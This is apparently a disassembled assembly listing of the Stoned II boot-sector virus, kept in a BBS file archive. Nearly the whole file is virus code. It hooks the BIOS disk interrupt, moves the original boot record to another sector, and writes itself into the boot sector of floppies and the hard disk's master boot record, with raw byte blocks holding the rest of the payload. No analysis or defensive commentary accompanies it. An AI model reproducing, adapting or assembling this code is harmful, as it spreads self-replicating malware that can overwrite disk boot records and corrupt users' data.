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The Unsorted BBS Collection
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stonedii.asm
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Assembly Source File
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1980-01-01
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4KB
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178 lines
PAGE 60,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ STONED2 ██
;██ ██
;██ Created: 1-Jan-80 ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
DATA_1E EQU 8 ; (694B:0008=0)
DATA_2E EQU 9 ; (694B:0009=0)
DATA_3E EQU 11H ; (694B:0011=0)
CODE_SEG_A SEGMENT
ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A
ORG 100h
stoned2 PROC FAR
start:
DB 31488 DUP (0)
DB 0EAH, 5, 0, 0C0H, 7, 0E9H
DB 99H, 0, 0, 11H, 99H, 0
DB 0F0H, 0E4H, 0, 80H, 9FH, 0
DB 7CH, 0, 0, 1EH, 50H, 80H
DB 0FCH, 2, 72H, 17H, 80H, 0FCH
DB 4, 73H, 12H, 0AH, 0D2H, 75H
DB 0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H
DB 3FH, 4, 0A8H, 1, 75H, 3
DB 0E8H, 7, 0, 58H, 1FH, 2EH
DB 0FFH, 2EH, 9, 0, 53H, 51H
DB 52H, 6, 56H, 57H, 0BEH, 4
DB 0
LOC_1:
MOV AX,201H
PUSH CS
POP ES
MOV BX,200H
XOR CX,CX ; Zero register
MOV DX,CX
INC CX
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
JNC LOC_2 ; Jump if carry=0
XOR AX,AX ; Zero register
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
DEC SI
JNZ LOC_1 ; Jump if not zero
JMP SHORT LOC_4
DB 90H
LOC_2:
XOR SI,SI ; Zero register
MOV DI,200H
CLD ; Clear direction
PUSH CS
POP DS
LODSW ; String [si] to ax
CMP AX,[DI]
JNE LOC_3 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,[DI+2]
JE LOC_4 ; Jump if equal
LOC_3:
MOV AX,301H
MOV BX,200H
MOV CL,3
MOV DH,1
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
JC LOC_4 ; Jump if carry Set
MOV AX,301H
XOR BX,BX ; Zero register
MOV CL,1
XOR DX,DX ; Zero register
PUSHF ; Push flags
CALL DWORD PTR CS:DATA_2E ; (694B:0009=0)
LOC_4:
POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
DB 33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH
DB 0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H
DB 4CH, 0, 0A3H, 9, 7CH, 0A1H
DB 4EH, 0, 0A3H, 0BH, 7CH, 0A1H
DB 13H, 4, 48H, 48H, 0A3H, 13H
DB 4, 0B1H, 6, 0D3H, 0E0H, 8EH
DB 0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H
DB 0, 0A3H, 4CH, 0, 8CH, 6
DB 4EH, 0, 0B9H, 0B8H, 1, 0EH
DB 1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH
DB 0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH
DB 0, 0B8H, 0, 0, 0CDH, 13H
DB 33H, 0C0H, 8EH, 0C0H, 0B8H, 1
DB 2, 0BBH, 0, 7CH, 2EH, 80H
DB 3EH, 8, 0, 0, 74H, 0BH
DB 0B9H, 7, 0, 0BAH, 80H, 0
DB 0CDH, 13H, 0EBH, 49H, 90H, 0B9H
DB 3, 0, 0BAH, 0, 1, 0CDH
DB 13H, 72H, 3EH, 26H, 0F6H, 6
DB 6CH, 4, 7, 75H, 12H, 0BEH
DB 89H, 1, 0EH, 1FH
LOC_5:
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JZ LOC_6 ; Jump if zero
MOV AH,0EH
MOV BH,0
INT 10H ; Video display ah=functn 0Eh
; write char al, teletype mode
JMP SHORT LOC_5
LOC_6:
PUSH CS
POP ES
MOV AX,201H
MOV BX,200H
MOV CL,1
MOV DX,80H
INT 13H ; Disk dl=drive a: ah=func 02h
; read sectors to memory es:bx
JC LOC_7 ; Jump if carry Set
PUSH CS
POP DS
MOV SI,200H
MOV DI,0
LODSW ; String [si] to ax
CMP AX,[DI]
JNE LOC_8 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,[DI+2]
JNE LOC_8 ; Jump if not equal
LOC_7:
MOV BYTE PTR CS:DATA_1E,0 ; (694B:0008=0)
JMP DWORD PTR CS:DATA_3E ; (694B:0011=0)
LOC_8:
MOV BYTE PTR CS:DATA_1E,2 ; (694B:0008=0)
MOV AX,301H
MOV BX,200H
MOV CX,7
MOV DX,80H
INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
JC LOC_7 ; Jump if carry Set
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,3BEH
MOV DI,1BEH
MOV CX,242H
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,301H
XOR BX,BX ; Zero register
INC CL
INT 13H ; Disk dl=drive a: ah=func 03h
; write sectors from mem es:bx
JMP SHORT LOC_7
DB 7
DB 35 DUP (0)
DB 67H, 2, 6, 67H, 2, 67H
DB 2, 0BH, 3, 67H, 2
stoned2 ENDP
CODE_SEG_A ENDS
END START